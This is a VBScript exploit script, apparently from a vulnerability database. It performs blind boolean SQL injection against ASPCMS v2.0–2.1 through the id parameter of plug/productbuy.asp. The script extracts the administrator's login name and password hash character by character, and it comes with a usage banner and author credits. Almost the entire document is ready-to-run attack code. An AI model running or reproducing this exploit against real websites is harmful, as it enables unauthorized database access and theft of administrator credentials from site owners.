ZeroBox Vulnerability Database

on   error   resume   next
Set objArgs = WScript.Arguments

dim my_http
dim my_path

print_r()
if objArgs.length = 0 then
quit_print()
End if
if objArgs(0) = null then
quit_print()
Else
my_http = objArgs(0)
End if

if objArgs(1) = null then
quit_print()
Else
my_path = objArgs(1)
End if

REM WScript.Echo my_http&my_path
REM wscript.quit ‘退出

‘====================== 开始注射 ======================
admin_leng = fun_admin_len() – 1
WScript.Echo " *  [+] Admin_len   : " &admin_leng

admin_user = fun_admin_user()
WScript.Echo " *  [+] Admin_user  : " &admin_user

admin_pass = fun_admin_pass()
WScript.Echo " *  [+] Admin_pass  : " &admin_pass
‘====================== Function ======================
Function fun_admin_len()
dim user_len,isexit
user_len = 0
isexit = 0
While(isexit < 1)
isexit = http_send(1,1,user_len)
‘WScript.Echo isexit
user_len = user_len + 1
If user_len > 20 Then
WScript.Echo "user_len > 20 ?"
wscript.quit
End If
Wend
If user_len = 0 Then
WScript.Echo "Exploit failed"
wscript.quit
End If
fun_admin_len = user_len
End Function

Function fun_admin_user()
dim key
key = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9")

Dim i,ii
for i = 1 to admin_leng
for ii = 0 to 35
isexit = http_send(2,i,asc(key(ii)))

If isexit = 2 Then
fun_admin_user = fun_admin_user & key(ii)
ii = 35
End If
‘WScript.Echo i & "_Is " & key(ii)
next
next
End Function

Function fun_admin_pass()
key = array("a","b","c","d","e","f","0","1","2","3","4","5","6","7","8","9")
for i = 1 to 16
for ii = 0 to 15
isexit = http_send(3,i,asc(key(ii)))
If isexit = 2 Then
fun_admin_pass = fun_admin_pass & key(ii)
ii = 35
End If
next
next
End Function

Function http_send(chs ,pos , chr)
dim cmd,fjhgx
Select Case chs ‘GroupID=1 or GroupID=5 LoginName Password AspCms_User
case 1
cmd = "plug/productbuy.asp?id=999999 or (select top 1 len(LoginName) from AspCms_User)=" & chr
case 2
cmd = "plug/productbuy.asp?id=999999 or (select top 1 asc(mid(LoginName," & pos & ",1)) from AspCms_User)=" & chr
case 3
cmd = "plug/productbuy.asp?id=999999 or (select top 1 asc(mid(password," & pos & ",1)) from AspCms_User)=" & chr
End Select

url = "http://" & my_http & my_path & cmd
fjhgx = SendTo(url)

if InStr(fjhgx, "setTimeout(""goLastPage()"",3000") Then
http_send = 2
Else
http_send = 0
End If
End Function

Function SendTo(Url)
Dim Http
Set Http = CreateObject("Microsoft.XMLHTTP")
Http.Open "get",Url,False
Http.Send
SendTo = Zhuanhuan(Http.responsebody)
Set Http = Nothing
End Function

 

Function print_r()
WScript.Echo "+—————————————————————————+"
WScript.Echo " ASPCMS v2.0 – 2.1 SQL injection exploit"
WScript.Echo " test: Fjhgx 俺是农村的"
WScript.Echo " mail: bugtosafe@gmail.com"
WScript.Echo " team: http://localhost/"
WScript.Echo "+—————————————————————————+"
End Function

Function quit_print()
WScript.Echo " Usage: CScript aspcms.vbs Url [Pre]"
WScript.Echo " Example:"
WScript.Echo " CScript aspcms.vbs localhost /"
WScript.Echo " CScript aspcms.vbs localhost /"
wscript.quit ‘退出
End Function

‘创建转换函数用以转换编码
Function Zhuanhuan(vIn)
  strReturn = ""
  For i = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
  If ThisCharCode < &H80 Then
    strReturn = strReturn & Chr(ThisCharCode)
    Else
    NextCharCode = AscB(MidB(vIn,i+1,1))
    strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
    i = i + 1
  End If
  Next
 Zhuanhuan = strReturn
End Function

Function RegExpTest(patrn, strng)
Dim regEx, Match, Matches      ‘ 建立变量。
Set regEx = New RegExp         ‘ 建立正则表达式。
regEx.Pattern = patrn         ‘ 设置模式。
regEx.IgnoreCase = True         ‘ 设置是否区分字符大小写。
regEx.Global = True         ‘ 设置全局可用性。
Set Matches = regEx.Execute(strng)   ‘ 执行搜索。
For Each Match in Matches      ‘ 遍历匹配集合。
‘RetStr = RetStr & "Match found at position "
‘RetStr = RetStr & Match.FirstIndex & ". Match Value is ‘"
RetStr = RetStr & Match.Value & vbCRLF
Next
RegExpTest = RetStr
End Function